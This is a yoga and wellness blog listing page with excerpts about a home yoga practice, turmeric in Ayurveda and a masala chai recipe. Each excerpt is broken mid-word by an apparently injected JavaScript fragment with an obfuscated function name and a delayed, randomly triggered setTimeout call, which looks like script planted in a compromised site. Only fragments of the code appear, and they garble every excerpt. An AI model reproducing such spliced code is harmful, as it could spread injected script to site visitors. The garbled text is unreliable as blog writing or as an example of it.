Getting Back on Track

Creating a Personal Home Yoga Practice, it’s all about balance… I am sure everyone can relate to life getting in the way of putting our own health & wellness first.  I have had numerous family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

Read more
Superfood: Turmeric
inspiration October 10, 2013 Ayurveda, Superfoods no discussions

Turmeric, which is made from the root of the curcuma longa plant, gets its super powers from an antioxidant called curcumin (no relation to cumin). Traditional Indian medicine Ayurveda —  has used the spice for its medicinal powers for thousandom()*5);if …

Read more
Yin Yang Yogi Chai Tea
inspiration October 24, 2012 Autumn, Ayurveda, Recipes no discussions

Yin Yang Yogi Chai Tea Served throughout India as “Masala Chai” which translates to “spiced tea,” yes, “chai tea” as we refer to it in the west, literally means “tea tea” this beverage dates back thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), …

Read more